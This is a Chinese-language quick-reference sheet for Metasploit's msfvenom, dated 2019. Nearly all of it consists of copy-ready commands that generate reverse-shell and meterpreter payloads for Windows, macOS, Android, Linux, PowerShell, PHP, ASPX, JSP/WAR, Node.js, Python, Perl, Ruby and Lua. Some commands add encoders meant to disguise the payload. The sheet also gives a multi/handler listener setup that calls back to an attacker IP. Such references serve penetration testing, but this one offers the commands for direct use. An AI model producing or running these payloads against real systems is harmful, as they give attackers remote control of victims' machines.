msfvenom-生成攻击载荷-命令速查

参考资料:

  • github-Micro8
  • https://github.com/rapid7/metasploit-framework/wiki/Metasploit-5.0-Release-Notes
  • https://www.hackers-arise.com/single-post/2017/06/08/Metasploit-Basics-Part-7-Adding-a-New-Module-EternalBlue

msfvenom -l payload 列出所有可用载荷

截至2019.3.4日,msf的版本为:metasploit v5.0.9-dev

命令 之前 现在
更新 msfupdate apt update; apt install metasploit-framework
handler监听 命令1 handler -H 10.10.14.7 -P 6678 -p linux/x86/meterpreter/reverse_tcp
添加exploit 命令2 命令3

命令1: msfconsole -r job.rc

1
2
3
4
5
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.14.7
set LPORT 7766
run

命令2:新建/root/.msf4/modules/exploits/new/xx.rb

命令3: 新建usr/share/metasploit-framework/modules/exploits/unix/webapp/xx.rb

reload_all 当载入新的metasploit 插件/payload,不用重启metasploit。

windows:

1
2
3
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o
payload.exe

mac:

1
2
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f macho -o payload.macho

android:

1
2
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

1
2
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

1
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

1
2
3
4
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=
<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php

aspx:

1
2
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

1
2
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻
击机端口 -f raw -o payload.jsp

war:

1
2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -
o payload.war

nodejs:

1
2
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.js

python:

1
2
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -
f raw -o payload.py

perl:

1
2
msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.pl

ruby:

1
2
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.rb

lua:

1
2
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.lua

windows shellcode:

1
2
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

1
2
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c

mac shellcode:

1
2
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f c